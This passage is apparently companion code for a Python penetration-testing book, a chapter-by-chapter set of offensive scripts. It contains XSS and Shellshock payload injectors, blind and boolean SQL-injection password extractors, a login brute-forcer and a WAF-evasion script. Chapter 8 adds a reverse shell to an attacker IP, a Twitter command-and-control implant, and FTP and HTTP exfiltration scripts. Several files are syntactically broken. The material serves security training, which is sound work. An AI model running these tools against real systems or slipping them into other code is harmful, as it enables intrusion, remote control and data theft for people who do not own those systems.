field.has_attr('name'): 19 | if field['name'].lower() == "submit": 20 | d[field['name']] = "submit" 21 | else: 22 | d[field['name']] = payload 23 | sets.append(d) 24 | req = requests.post(url2, data=d) 25 | response = requests.get(url3) 26 | 27 | o.write("Payload: "+ payload +"\r\n") 28 | o.write(response.text+"\r\n") 29 | 30 | 31 | d = {} 32 | 33 | print "Fuzzing has ended" -------------------------------------------------------------------------------- /Module 3/Chapter 3/Headerxss.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | url = sys.argv[1] 4 | payload = ['', 'alert(1);', ''] 5 | headers ={} 6 | r = requests.head(url) 7 | for payload in payloads: 8 | for header in r.headers: 9 | headers[header] = payload 10 | req = requests.post(url, headers=headers) 11 | -------------------------------------------------------------------------------- /Module 3/Chapter 3/Shellshocker.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | url = sys.argv[1] 4 | payload = "() { :; }; /bin/bash -c '/usr/bin/wget >> /dev/null'" 5 | headers ={} 6 | r = requests.head(url) 7 | for header in r.headers: 8 | if header == "referer" or header == "User-Agent": 9 | headers[header] = payload 10 | req = requests.post(url, headers=headers) 11 | -------------------------------------------------------------------------------- /Module 3/Chapter 3/URL-XSS.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | url = "http://127.0.0.1/SQL/sqli-labs-master/Less-1/index.php?id=" 4 | initial = "'" 5 | secondary = ["' OR 1;#", " OR 1;#"] 6 | #payloads = ['', 'alert(1);', ''] 7 | 8 | first = requests.post(url+initial) 9 | if "mysql" in first.text.lower() or "native client" in first.text.lower() or "syntax error" in first.text.lower(): 10 | print "Injectable" 11 | for payload in secondary: 12 | req = requests.post(url+payload) 13 | if payload in req.text: 14 | print "Parameter vulnerable\r\n" 15 | print "Attack string: "+payload 16 | print req.text 17 | break -------------------------------------------------------------------------------- /Module 3/Chapter 3/XSSFinder.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | from bs4 import BeautifulSoup, SoupStrainer 4 | url = "http://127.0.0.1/xss/medium/guestbook2.php" 5 | url2 = "http://127.0.0.1/xss/medium/addguestbook2.php" 6 | url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php" 7 | payloads = ['', 'alert(1);', ''] 8 | up = "../" 9 | i = 0 10 | d = {} 11 | sets = [] 12 | initial = requests.get(url) 13 | for payload in payloads: 14 | for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')): 15 | print field 16 | if field.has_attr('name'): 17 | if field['name'].lower() == "submit": 18 | d[field['name']] = "submit" 19 | else: 20 | d[field['name']] = payload 21 | sets.append(d) 22 | req = requests.post(url2, data=d) 23 | checkresult = requests.get(url3) 24 | 25 | if payload in checkresult.text: 26 | print "Full string returned" 27 | print "Attacks string: "+ payload 28 | d = {} -------------------------------------------------------------------------------- /Module 3/Chapter 3/jschecker.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import re 3 | from bs4 import BeautifulSoup 4 | import sys 5 | 6 | scripts = [] 7 | 8 | if len(sys.argv) != 2: 9 | print "usage: %s url" % (sys.argv[0]) 10 | sys.exit(0) 11 | 12 | tarurl = sys.argv[1] 13 | url = requests.get(tarurl) 14 | soup = BeautifulSoup(url.text) 15 | for line in soup.find_all('script'): 16 | newline = line.get('src') 17 | scripts.append(newline) 18 | 19 | for script in scripts: 20 | if "jquery.min" in str(script).lower(): 21 | print script 22 | url = requests.get(script) 23 | comments = re.findall(r'\d[0-9a-zA-Z._:-]+',url.text) 24 | if comments[0] == "2.1.1" or comments[0] == "1.12.1": 25 | print "Up to date" 26 | else: 27 | print "Out of date" 28 | print "Version detected: "+comments[0] 29 | 30 | #try: 31 | # if newline[:4] == "http": 32 | # if tarurl in newline: 33 | # urls.append(str(newline)) 34 | # elif newline[:1] == "/": 35 | # combline = tarurl+newline 36 | # urls.append(str(combline)) 37 | #except: 38 | # pass 39 | # print "failed" 40 | #for uurl in urls: 41 | # if "jquery" in url: 42 | # -------------------------------------------------------------------------------- /Module 3/Chapter 4/Subs.py: -------------------------------------------------------------------------------- 1 | subs = [] 2 | values = {" ": "%50", "SELECT": "HAVING", "AND": "&&", "OR": "||"} 3 | originalstring = "' UNION SELECT * FROM Users WHERE username = 'admin' OR 1=1 AND username = 'admin';#" 4 | secondoriginalstring = originalstring 5 | for key, value in values.iteritems(): 6 | if key in originalstring: 7 | newstring = originalstring.replace(key, value) 8 | subs.append(newstring) 9 | if key in secondoriginalstring: 10 | secondoriginalstring = secondoriginalstring.replace(key, value) 11 | subs.append(secondoriginalstring) 12 | 13 | subset = set(subs) 14 | for line in subs: 15 | print line -------------------------------------------------------------------------------- /Module 3/Chapter 4/Timer.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | url = sys.argv[1] 4 | 5 | values = [] 6 | 7 | for i in xrange(100): 8 | r = requests.get(url) 9 | values.append(int(r.elapsed.total_seconds())) 10 | 11 | average = sum(values) / float(len(values)) 12 | print "Average response time for "+url+" is "+str(average) -------------------------------------------------------------------------------- /Module 3/Chapter 4/blindsql.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | 4 | times = [] 5 | answer = "Kicking off the attempt" 6 | cookies = {'cookie name': 'Cookie value'} 7 | 8 | payload = {'injection': '\'or sleep char_length(password);#', 'Submit': 'submit'} 9 | req = requests.post(url, data=payload, cookies=cookies) 10 | firstresponsetime = str(req.elapsed) 11 | 12 | for x in range(1, firstresponsetime): 13 | payload = {'injection': '\'or sleep(ord(substr(password, '+str(x)+', 1)));#', 'Submit': 'submit'} 14 | req = requests.post('', data=payload, cookies=cookies) 15 | responsetime = req.elapsed.total_seconds 16 | a = chr(responsetime) 17 | times.append(a) 18 | answer = ''.join(times) 19 | return answer 20 | 21 | averagetimer(http://google.com) -------------------------------------------------------------------------------- /Module 3/Chapter 4/booleanSQL.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | 4 | url = sys.argv[1] 5 | yes = sys.argv[2] 6 | answer = [] 7 | i = 1 8 | asciivalue = 1 9 | 10 | letterss = [] 11 | print "Kicking off the attempt" 12 | 13 | payload = {'injection': '\'AND char_length(password) = '+str(i)+';#', 'Submit': 'submit'} 14 | 15 | while True: 16 | req = requests.post(url, data=payload) 17 | lengthtest = req.text 18 | if yes in lengthtest: 19 | length = i 20 | break 21 | i = i+1 22 | 23 | 24 | for x in range(1, length): 25 | payload = {'injection': '\'AND (substr(password, '+str(x)+', 1)) = '+ chr(asciivalue)+';#', 'Submit': 'submit'} 26 | req = requests.post(url, data=payload, cookies=cookies) 27 | if yes in req.text: 28 | answer.append(asciivalue) 29 | else: 30 | asciivalue = asciivalue + 1 31 | pass 32 | asciivalue = 1 33 | print "Recovered String: "+ ''.join(answer) -------------------------------------------------------------------------------- /Module 3/Chapter 4/urlsqli.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | url = "http://127.0.0.1/SQL/sqli-labs-master/Less-1/index.php?id=" 4 | initial = "'" 5 | print "Testing "+ url 6 | first = requests.post(url+initial) 7 | 8 | if "mysql" in first.text.lower(): 9 | print "Injectable MySQL detected" 10 | elif "native client" in first.text.lower(): 11 | print "Injectable MSSQL detected" 12 | elif "syntax error" in first.text.lower(): 13 | print "Injectable PostGRES detected" 14 | elif "ORA" in first.text.lower(): 15 | print "Injectable Oracle detected" 16 | else: 17 | print "Not Injectable :( " -------------------------------------------------------------------------------- /Module 3/Chapter 5/basic_auth.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from requests.auth import HTTPBasicAuth 3 | 4 | with open('passwords.txt') as passwords: 5 | for pass in passwords.readlines(): 6 | r = requests.get('http://packtpub.com/login', auth=HTTPBasicAuth('user', pass, allow_redirects=False) 7 | if r.status_code == 301 and 'login' not in r.headers['location']: 8 | print 'Login successful, password:', pass 9 | break -------------------------------------------------------------------------------- /Module 3/Chapter 5/cookies.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import time 3 | 4 | def check_httponly(c): 5 | if 'httponly' in c._rest.keys(): 6 | return True 7 | else: 8 | return '\x1b[31mFalse\x1b[39;49m' 9 | 10 | #req = requests.get('http://www.realvnc.com/support') 11 | values = [] 12 | for i in xrange(0,5): 13 | req = requests.get('http://www.google.com') 14 | for cookie in req.cookies: 15 | print 'Name:', cookie.name 16 | print 'Value:', cookie.value 17 | values.append(cookie.value) 18 | if not cookie.secure: 19 | cookie.secure = '\x1b[31mFalse\x1b[39;49m' 20 | print 'HTTPOnly:', check_httponly(cookie), '\n' 21 | time.sleep(2) 22 | 23 | print set(values) -------------------------------------------------------------------------------- /Module 3/Chapter 5/headers_enum.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | req = requests.get('http://google.com') 4 | headers = ['Server', 'Date', 'Via', 'X-Powered-By'] 5 | 6 | for header in headers: 7 | try: 8 | result = req.headers[header] 9 | print '%s: %s' % (header, result) 10 | except Exception, error: 11 | pass -------------------------------------------------------------------------------- /Module 3/Chapter 5/send_cookies.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | url = 'http://www.packtpub.com/' 4 | req = requests.get(url) 5 | 6 | print req.cookies 7 | cookies = dict(admin='True') 8 | 9 | cookie_req = requests.get(url, cookies=cookies) 10 | print cookie_req.text -------------------------------------------------------------------------------- /Module 3/Chapter 5/user_agent.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Chrome on Windows 8.1 3 | Safari on iOS 4 | IE6 on Windows XP 5 | Googlebot 6 | ''' 7 | 8 | import requests 9 | import hashlib 10 | 11 | user_agents = { 'Chrome on Windows 8.1' : 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36', 12 | 'Safari on iOS' : 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B466 Safari/600.1.4', 13 | 'IE6 on Windows XP' : 'Mozilla/5.0 (Windows; U; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)', 14 | 'Googlebot' : 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' } 15 | 16 | responses = {} 17 | for name, agent in user_agents.items(): 18 | headers = {'User-Agent' : agent} 19 | req = requests.get('http://www.google.com', headers=headers) 20 | responses[name] = req 21 | 22 | md5s = {} 23 | for name, response in responses.items(): 24 | md5s[name] = hashlib.md5(response.text.encode('utf-8')).hexdigest() 25 | 26 | for name,md5 in md5s.iteritems(): 27 | if md5 != md5s['Chrome on Windows 8.1']: 28 | print name, 'differs from baseline' 29 | -------------------------------------------------------------------------------- /Module 3/Chapter 7/All.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import hashlib 4 | 5 | message = raw_input("Enter the string you would like to hash: ") 6 | 7 | md5 = hashlib.md5(message) 8 | md5 = md5.hexdigest() 9 | 10 | sha1 = hashlib.sha1(message) 11 | sha1 = sha1.hexdigest() 12 | 13 | sha256 = hashlib.sha256(message) 14 | sha256 = sha256.hexdigest() 15 | 16 | sha512 = hashlib.sha512(message) 17 | sha512 = sha512.hexdigest() 18 | 19 | print "MD5 Hash =", md5 20 | print "SHA1 Hash =", sha1 21 | print "SHA256 Hash =", sha256 22 | print "SHA512 Hash =", sha512 23 | print "End of list." -------------------------------------------------------------------------------- /Module 3/Chapter 7/Atbash.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import string 3 | 4 | input = raw_input("Please enter the value you would like to Atbash Ciper: ") 5 | 6 | transform = string.maketrans( 7 | "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", 8 | "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba") 9 | 10 | final = string.translate(input, transform) 11 | 12 | print final -------------------------------------------------------------------------------- /Module 3/Chapter 7/Base 64 encode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | msg = raw_input('Please enter the string to encode: ') 4 | 5 | print "Your B64 encoded string is: " + msg.encode('base64') -------------------------------------------------------------------------------- /Module 3/Chapter 7/Bcrypt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import bcrypt 4 | 5 | # Let's first enter a password 6 | new = raw_input('Please enter a password: ') 7 | # We'll encrypt the password with bcrypt with the default salt value of 12 8 | hashed = bcrypt.hashpw(new, bcrypt.gensalt()) 9 | # We'll print the hash we just generated 10 | print('The string about to be stored is: ' + hashed) 11 | # Confirm we entered the correct password 12 | plaintext = raw_input('Please re-enter the password to check: ') 13 | # Check if both passwords match 14 | if bcrypt.hashpw(plaintext, hashed) == hashed: 15 | print 'It\'s a match!' 16 | else: 17 | print 'Please try again.' 18 | -------------------------------------------------------------------------------- /Module 3/Chapter 7/KeyReuse.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | f = open("ciphers.txt", "r") 4 | 5 | MSGS = f.readlines() 6 | 7 | def strxor(a, b): # xor two strings of different lengths 8 | if len(a) > len(b): 9 | return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a[:len(b)], b)]) 10 | else: 11 | return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b[:len(a)])]) 12 | 13 | def encrypt(key, msg): 14 | c = strxor(key, msg) 15 | return c 16 | 17 | key = "315c4eeaa8b5f8aaf9174145bf43e1784b8fa00dc71d885a804e5ee9fa40b16349c146fb778cdf2d3aff021dfff5b403b510d0d0455468aeb98622b137dae857553ccd8883a7bc37520e06e515d22c954eba5025b8cc57ee59418ce7dc6bc41556bdb36bbca3e8774301fbcaa3b83b220809560987815f65286764".decode("hex") 18 | k3y = "32510ba9babebbbefd001547a810e67149caee11d945cd7fc81a05e9f85aac650e9052ba6a8cd8257bf14d13e6f0a803b54fde9e77472dbff89d71b57bddef121336cb85ccb8f3315f4b52e301d16e9f52f904".decode("hex") 19 | msg = "We can factor the number 15 with quantum computers. We can also factor the number 15 with a dog trained to bark three times" 20 | ciphertexts = encrypt(msg, key) 21 | answer = encrypt(ciphertexts, k3y) 22 | print answer 23 | print answer.encode("hex") -------------------------------------------------------------------------------- /Module 3/Chapter 7/LCG-brute.py: -------------------------------------------------------------------------------- 1 | #Linear Conruential Generator reverse from known mod, multiplier and increment + final 2 chars of each random value 2 | #Replace hardcode numbers with known numbers 3 | 4 | print "Starting attempt to brute" 5 | 6 | for i in range(100000, 99999999): 7 | a = str((1664525 * int(str(i)+'00') + 1013904223) % 2**31) 8 | if a[-2:] == "47": 9 | b = str((1664525 * int(a) + 1013904223) % 2**31) 10 | if b[-2:] == "46": 11 | c = str((1664525 * int(b) + 1013904223) % 2**31) 12 | if c[-2:] == "57": 13 | d = str((1664525 * int(c) + 1013904223) % 2**31) 14 | if d[-2:] == "56": 15 | e = str((1664525 * int(d) + 1013904223) % 2**31) 16 | if e[-2:] == "07": 17 | f = str((1664525 * int(e) + 1013904223) % 2**31) 18 | if f[-2:] == "38": 19 | g = str((1664525 * int(f) + 1013904223) % 2**31) 20 | if g[-2:] == "81": 21 | h = str((1664525 * int(g) + 1013904223) % 2**31) 22 | if h[-2:] == "32": 23 | j = str((1664525 * int(h) + 1013904223) % 2**31) 24 | if j[-2:] == "19": 25 | k = str((1664525 * int(j) + 1013904223) % 2**31) 26 | if k[-2:] == "70": 27 | l = str((1664525 * int(k) + 1013904223) % 2**31) 28 | if l[-2:] == "53": 29 | print "potential number found: "+l 30 | print "next 9 values are:" 31 | for i in range(1, 10): 32 | l = str((1664525 * int(l) + 1013904223) % 2**31) 33 | print l[-2:] -------------------------------------------------------------------------------- /Module 3/Chapter 7/MD5 crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import hashlib 3 | 4 | target = raw_input("Please enter your hash here: ") 5 | dictionary = raw_input("Please enter the file name of your dictionary: ") 6 | 7 | 8 | def main(): 9 | with open(dictionary) as fileobj: 10 | for line in fileobj: 11 | line = line.strip() 12 | if hashlib.md5(line).hexdigest() == target: 13 | print "Hash was successfully cracked %s: The value is %s" % (target, line) 14 | return "" 15 | print "Failed to crack the file." 16 | 17 | if __name__ == "__main__": 18 | main() 19 | -------------------------------------------------------------------------------- /Module 3/Chapter 7/MD5.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | import hashlib 5 | 6 | message = raw_input("Enter the string you would like to hash: ") 7 | md5 = hashlib.md5(message.encode()) 8 | 9 | print (md5.hexdigest()) 10 | -------------------------------------------------------------------------------- /Module 3/Chapter 7/Real Example.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import uuid 4 | import hashlib 5 | 6 | def hash(password): 7 | salt = uuid.uuid4().hex 8 | return hashlib.sha512(salt.encode() + password.encode()).hexdigest() + ':' + salt 9 | 10 | def check(hashed, p2): 11 | password, salt = hashed.split(':') 12 | return password == hashlib.sha512(salt.encode() + p2.encode()).hexdigest() 13 | 14 | password = raw_input('Please enter a password: ') 15 | 16 | hashed = hash(password) 17 | 18 | print('The string to store in the db is: ' + hashed) 19 | 20 | re = raw_input('Please re-enter your password: ') 21 | 22 | if check(hashed, re): 23 | print('Password Match') 24 | else: 25 | print('Password Mismatch') -------------------------------------------------------------------------------- /Module 3/Chapter 7/Sub.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | string = "TaPoGeTaBiGePoHfTmGeYbAtPtHoPoTaAuPtGeAuYbGeBiHoTaTmPtHoTmGePoAuGeErTaBiHoAuRnTmPbGePoHfTmGeTmRaTaBiPoTmPtHoTmGeAuYbGeTbGeLuTmPtTmPbTbOsGePbTmTaLuPtGeAuYbGeAuPbErTmPbGeTaPtGePtTbPoAtPbTmGeTbPtErGePoAuGeYbTaPtErGePoHfTmGeHoTbAtBiTmBiGeLuAuRnTmPbPtTaPtLuGePoHfTaBiGeAuPbErTmPbPdGeTbPtErGePoHfTaBiGePbTmYbTmPbBiGeTaPtGeTmTlAtTbOsGeIrTmTbBiAtPbTmGePoAuGePoHfTmGePbTmOsTbPoTaAuPtBiGeAuYbGeIrTbPtGeRhGeBiAuHoTaTbOsGeTbPtErGeHgAuOsTaPoTaHoTbOsGeRhGeTbPtErGePoAuGePoHfTmGeTmPtPoTaPbTmGeAtPtTaRnTmPbBiTmGeTbBiGeTbGeFrHfAuOsTmPd" 4 | n=2 5 | list = [] 6 | answer = [] 7 | [list.append(string[i:i+n]) for i in range(0, len(string), n)] 8 | print set(list) 9 | 10 | 11 | 12 | periodic ={"Pb": 82, "Tl": 81, "Tb": 65, "Ta": 73, "Po": 84, "Ge": 32, "Bi": 83, "Hf": 72, "Tm": 69, "Yb": 70, "At": 85, "Pt": 78, "Ho": 67, "Au": 79, "Er": 68, "Rn": 86, "Ra": 88, "Lu": 71, "Os": 76, "Tl": 81, "Pd": 46, "Rh": 45, "Fr": 87, "Hg": 80, "Ir": 77} 13 | for value in list: 14 | if value in periodic: 15 | answer.append(chr(periodic[value])) 16 | 17 | lastanswer = ''.join(answer) 18 | print lastanswer 19 | 20 | #it is the function of science to discover the existence of a general reign of order in nature and to find the causes governing this order and this refers in equal measure to the relations of man - social and political - and to the entire universe as a whole. 21 | -------------------------------------------------------------------------------- /Module 3/Chapter 8/FTPExfil.py: -------------------------------------------------------------------------------- 1 | from ftplib import FTP 2 | import time 3 | import os 4 | 5 | user = sys.argv[1] 6 | pw = sys.argv[2] 7 | 8 | ftp = FTP("127.0.0.1", user, pw) 9 | 10 | filescheck = "aa" 11 | 12 | loop = 0 13 | up = "../" 14 | 15 | while 1: 16 | files = os.listdir("./"+(i*up)) 17 | print files 18 | 19 | for f in files: 20 | try: 21 | fiile = open(f, 'rb') 22 | ftp.storbinary('STOR ftpfiles/00'+str(f), fiile) 23 | fiile.close() 24 | else: 25 | pass 26 | 27 | if filescheck == files: 28 | break 29 | else: 30 | filescheck = files 31 | loop = loop+1 32 | time.sleep(10) 33 | ftp.close() 34 | -------------------------------------------------------------------------------- /Module 3/Chapter 8/HttpExfil.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 3/Chapter 8/HttpExfil.py -------------------------------------------------------------------------------- /Module 3/Chapter 8/Netcat.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import subprocess 3 | import sys 4 | import time 5 | 6 | HOST = '172.16.0.2' # Your attacking machine to connect back to 7 | PORT = 4444 # The port your attacking machine is listening on 8 | 9 | def connect((host, port)): 10 | go = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 11 | go.connect((host, port)) 12 | return go 13 | 14 | def wait(go): 15 | data = go.recv(1024) 16 | if data == "exit\n": 17 | go.close() 18 | sys.exit(0) 19 | elif len(data)==0: 20 | return True 21 | else: 22 | p = subprocess.Popen(data, shell=True, 23 | stdout=subprocess.PIPE, stderr=subprocess.PIPE, 24 | stdin=subprocess.PIPE) 25 | stdout = p.stdout.read() + p.stderr.read() 26 | go.send(stdout) 27 | return False 28 | 29 | def main(): 30 | while True: 31 | dead=False 32 | try: 33 | go=connect((HOST,PORT)) 34 | while not dead: 35 | dead=wait(go) 36 | go.close() 37 | except socket.error: 38 | pass 39 | time.sleep(2) 40 | 41 | if __name__ == "__main__": 42 | sys.exit(main()) 43 | -------------------------------------------------------------------------------- /Module 3/Chapter 8/TwitterDecode.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PacktPublishing/Python-Penetration-Testing-for-Developers/a712d19c9587d04e13b332adbc3620c0df477c89/Module 3/Chapter 8/TwitterDecode.py -------------------------------------------------------------------------------- /Module 3/Chapter 8/TwitterExfil.py: -------------------------------------------------------------------------------- 1 | from twitter import * 2 | import os 3 | from Crypto.Cipher import ARC4 4 | import subprocess 5 | import time 6 | 7 | token = '' 8 | token_key = '' 9 | con_secret = '' 10 | con_secret_key = '' 11 | t = Twitter(auth=OAuth(token, token_key, con_secret, con_secret_key)) 12 | 13 | while 1: 14 | user = t.statuses.user_timeline() 15 | command = user[0]["text"].encode('utf-8') 16 | key = user[1]["text"].encode('hex') 17 | enc = ARC4.new(key) 18 | response = subprocess.check_output(command.split()) 19 | 20 | enres = enc.encrypt(response).encode("base64") 21 | 22 | for i in xrange(0, len(enres), 140): 23 | t.statuses.update(status=enres[i:i+140]) 24 | time.sleep(3600) 25 | -------------------------------------------------------------------------------- /Module 3/Chapter 8/data.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Module 3/Chapter 8/simpleHTTPExfil.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import urllib 3 | import subprocess 4 | from subprocess import PIPE, STDOUT 5 | 6 | commands = ['whoami','hostname','uname'] 7 | out = {} 8 | 9 | for command in commands: 10 | try: 11 | p = subprocess.Popen(command, stderr=STDOUT, stdout=PIPE) 12 | out[command] = p.stdout.read().strip() 13 | except: 14 | pass 15 | 16 | requests.get('http://localhost:8000/index.html?' + urllib.urlencode(out)) 17 | -------------------------------------------------------------------------------- /Module 3/Chapter 9/bs2.py: -------------------------------------------------------------------------------- 1 | import urllib2 2 | from bs4 import BeautifulSoup 3 | import sys 4 | import time 5 | 6 | tarurl = sys.argv[1] 7 | if tarurl[-1] == "/": 8 | tarurl = tarurl[:-1] 9 | print"" 10 | print"" 11 | print" " 12 | 13 | url = urllib2.urlopen(tarurl).read() 14 | soup = BeautifulSoup(url) 15 | for line in soup.find_all('a'): 16 | newline = line.get('href') 17 | if newline[:4] == "http": 18 | print"" 19 | print""+str(newline)+"" 20 | print"" 21 | elif newline[:1] == "/": 22 | combline = tarurl+newline 23 | if 24 | print"" 25 | print""+str(combline)+"" 26 | print"" 27 | print" " 28 | print"" 29 | print"" -------------------------------------------------------------------------------- /Module 3/Chapter 9/bs3.py: -------------------------------------------------------------------------------- 1 | import urllib2 2 | import re 3 | import sys 4 | 5 | tarurl = sys.argv[1] 6 | url = urllib2.urlopen(tarurl).read() 7 | regex = re.compile(("([a-z0-9!#$%&'*+\/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+\/=?^_`" 8 | "{|}~-]+)*(@|\sat\s)(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(\.|" 9 | "\sdot\s))+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)")) 10 | 11 | print"" 12 | print"" 13 | print" " 14 | emails = re.findall(regex, url) 15 | for email in emails: 16 | print" " 17 | print" "+str(email[0])+"" 18 | print" " 19 | print" " 20 | print"" 21 | print"" -------------------------------------------------------------------------------- /Module 3/Chapter 9/maltegodef.py: -------------------------------------------------------------------------------- 1 | print"" 2 | print"" 3 | print" " 4 | 5 | 6 | def maltego(entity, value, addvalues): 7 | print" " 8 | print" "+value+"" 9 | print" " 10 | for value, item in addvalues.iteritems(): 11 | print" "+item+"" 12 | print" " 13 | print" " 14 | 15 | 16 | maltego("ip", "127.0.0.1", {"domain": "google.com"}) 17 | 18 | 19 | 20 | print" " 21 | print"" 22 | print"" 23 | -------------------------------------------------------------------------------- /Module 3/Chapter 9/nmapparser.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | import nmap 4 | 5 | with open("./nmap_output.xml", "r") as fd: 6 | content = fd.read() 7 | nm.analyse_nmap_xml_scan(content) 8 | print(nm.csv()) -------------------------------------------------------------------------------- /Module 3/Chapter 9/pcapparse.py: -------------------------------------------------------------------------------- 1 | import time, dpkt 2 | import plotly.plotly as py 3 | from plotly.graph_objs import * 4 | from datetime import datetime 5 | 6 | filename = 'hbot.pcap' 7 | 8 | full_datetime_list = [] 9 | dates = [] 10 | 11 | for ts, pkt in dpkt.pcap.Reader(open(filename,'rb')): 12 | eth=dpkt.ethernet.Ethernet(pkt) 13 | if eth.type!=dpkt.ethernet.ETH_TYPE_IP: 14 | continue 15 | 16 | ip = eth.data 17 | tcp=ip.data 18 | 19 | if ip.p not in (dpkt.ip.IP_PROTO_TCP, dpkt.ip.IP_PROTO_UDP): 20 | continue 21 | 22 | if tcp.dport == 21 or tcp.sport == 21: 23 | full_datetime_list.append((ts, str(time.ctime(ts)))) 24 | 25 | 26 | for t,d in full_datetime_list: 27 | if d not in dates: 28 | dates.append(d) 29 | 30 | dates.sort(key=lambda date: datetime.strptime(date, "%a %b %d %H:%M:%S %Y")) 31 | 32 | datecount = [] 33 | 34 | for d in dates: 35 | counter = 0 36 | for d1 in full_datetime_list: 37 | if d1[1] == d: 38 | counter += 1 39 | 40 | datecount.append(counter) 41 | 42 | 43 | data = Data([ 44 | Scatter( 45 | x=dates, 46 | y=datecount 47 | ) 48 | ]) 49 | plot_url = py.plot(data, filename='FTP Requests') 50 | -------------------------------------------------------------------------------- /Module 3/Chapter 9/sslscanparser.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import sys 3 | 4 | ipfile = sys.argv[1] 5 | 6 | IPs = open(ipfile, "r") 7 | output = open("sslscan.csv", "w+") 8 | 9 | for IP in IPs: 10 | try: 11 | command = "sslscan "+IP 12 | 13 | ciphers = subprocess.check_output(command.split()) 14 | 15 | for line in ciphers.splitlines(): 16 | if "Accepted" in line: 17 | output.write(IP+","+line.split()[1]+","+line.split()[4]+","+line.split()[2]+"\r") 18 | except: 19 | pass -------------------------------------------------------------------------------- /Module 3/Read Me.txt: -------------------------------------------------------------------------------- 1 | All the Codes files placed in a separate folders in Chapter wise. 2 | 3 | Following are the chapter which consists of code files:- 4 | 5 | Chapter 1 6 | Chapter 2 7 | Chapter 3 8 | Chapter 4 9 | Chapter 5 10 | Chapter 6 11 | Chapter 7 12 | Chapter 8 13 | Chapter 9 14 | 15 | All the codes are checked and tested. 16 | -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | ### Download a free PDF 5 | 6 | If you have already purchased a print or Kindle version of this book, you can get a DRM-free PDF version at no cost.
Simply click on the link to claim your free PDF.
7 |

https://packt.link/free-ebook/9781787128187

--------------------------------------------------------------------------------